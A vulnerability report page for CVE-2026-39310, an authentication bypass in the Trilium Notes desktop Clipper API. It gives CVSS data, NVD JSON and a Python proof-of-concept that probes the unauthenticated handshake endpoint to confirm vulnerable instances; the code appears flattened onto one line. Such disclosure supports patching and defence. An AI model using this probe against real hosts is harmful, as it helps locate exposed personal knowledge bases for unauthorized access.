Security Vulnerability Report
中文
CVE-2026-39310 CVSS 8.6 HIGH

CVE-2026-39310

Published: 2026-05-20 20:16:39
Last Modified: 2026-05-21 15:24:25

Description

Trilium Notes is a cross-platform, hierarchical note taking application focused on building large personal knowledge bases. In versions 0.102.1 and prior, the Clipper API in Trilium Desktop (v0.101.3) allows full authentication bypass when running in an Electron environment. When Trilium detects an Electron environment, it explicitly disables authentication middleware for the Clipper API, exposing endpoints such as /api/clipper/notes to the network with no password, API token, or CSRF protection. An attacker on a shared network (for example, a corporate LAN or public Wi-Fi) can scan for open high-range ports using a tool like nmap, since Trilium often binds to ports such as 37840. Once a candidate port is found, an unauthenticated request to the Clipper handshake endpoint, which also bypasses authentication, confirms a Trilium instance by returning the application name and protocol version. This facilitates unauthorized data access, phishing, and local system compromise. The issue has been fixed in version 0.102.2.

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L

Configurations (Affected Products)

No configuration data available.

Trilium Notes <= 0.102.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def check_trilium_vuln(target_ip): # Default port for Trilium Clipper API port = 37840 # The handshake endpoint used to identify the instance url = f"http://{target_ip}:{port}/api/clipper/handshake" try: # Send unauthenticated GET request response = requests.get(url, timeout=5) # Check if the response indicates a successful connection to Trilium # A vulnerable instance returns JSON with 'applicationName' if response.status_code == 200 and "applicationName" in response.text: print(f"[+] Target {target_ip} is vulnerable!") print(f"[+] Application Info: {response.json()}") else: print(f"[-] Target {target_ip} does not appear to be vulnerable.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to {target_ip}: {e}") if __name__ == "__main__": # Replace with the target IP address target = "192.168.1.100" check_trilium_vuln(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39310", "sourceIdentifier": "[email protected]", "published": "2026-05-20T20:16:39.213", "lastModified": "2026-05-21T15:24:25.330", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Trilium Notes is a cross-platform, hierarchical note taking application focused on building large personal knowledge bases. In versions 0.102.1 and prior, the Clipper API in Trilium Desktop (v0.101.3) allows full authentication bypass when running in an Electron environment. When Trilium detects an Electron environment, it explicitly disables authentication middleware for the Clipper API, exposing endpoints such as /api/clipper/notes to the network with no password, API token, or CSRF protection. An attacker on a shared network (for example, a corporate LAN or public Wi-Fi) can scan for open high-range ports using a tool like nmap, since Trilium often binds to ports such as 37840. Once a candidate port is found, an unauthenticated request to the Clipper handshake endpoint, which also bypasses authentication, confirms a Trilium instance by returning the application name and protocol version. This facilitates unauthorized data access, phishing, and local system compromise. The issue has been fixed in version 0.102.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://github.com/TriliumNext/Trilium/releases/tag/v0.102.2", "source": "[email protected]"}, {"url": "https://github.com/TriliumNext/Trilium/security/advisories/GHSA-jcvx-vc83-cppw", "source": "[email protected]"}, {"url": "https://github.com/TriliumNext/Trilium/security/advisories/GHSA-jcvx-vc83-cppw", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}